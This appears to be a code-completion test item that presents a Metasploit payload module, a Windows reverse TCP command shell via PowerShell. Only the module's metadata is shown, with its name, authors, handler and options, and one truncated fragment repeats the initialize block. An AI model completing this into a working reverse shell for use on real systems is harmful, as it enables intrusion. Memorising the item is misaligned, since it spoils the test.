You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: reverse_powershell.rb
    path of file: ./repos/metasploit-framework/modules/payloads/singles/cmd/windows
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 1588

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
     'Description'   => 'Connect back and create a command shell via Powershell',
     'Author'        =>
       [
         'Dave Kennedy', # Original payload from trustedsec on SET
         'Ben Campbell' # Metasploit module
       ],
     'References'    =>
       [
         ['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
       ],
     # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
     'License'       => MSF_LICENSE,
     'Platform'      => 'win',
     'Arch'          => ARCH
    
  def initialize(info = {})
    super(merge_info(info,
     'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
     'Description'   => 'Connect back and create a command shell via Powershell',
     'Author'        =>
       [
         'Dave Kennedy', # Original payload from trustedsec on SET
         'Ben Campbell' # Metasploit module
       ],
     'References'    =>
       [
         ['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
       ],
     # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
     'License'       => MSF_LICENSE,
     'Platform'      => 'win',
     'Arch'          => ARCH_CMD,
     'Handler'       => Msf::Handler::ReverseTcp,
     'Session'       => Msf::Sessions::CommandShell,
     'PayloadType'   => 'cmd',
     'RequiredCmd'   => 'powershell',
     'Payload'       =>
       {
         'Offsets' => { },
         'Payload' => ''
       }
    ))
    register_advanced_options(
      [
        OptString.new('PowerShellPath', [true, 'The path to the PowerShell executable', 'powershell'])
      ]
    )
  end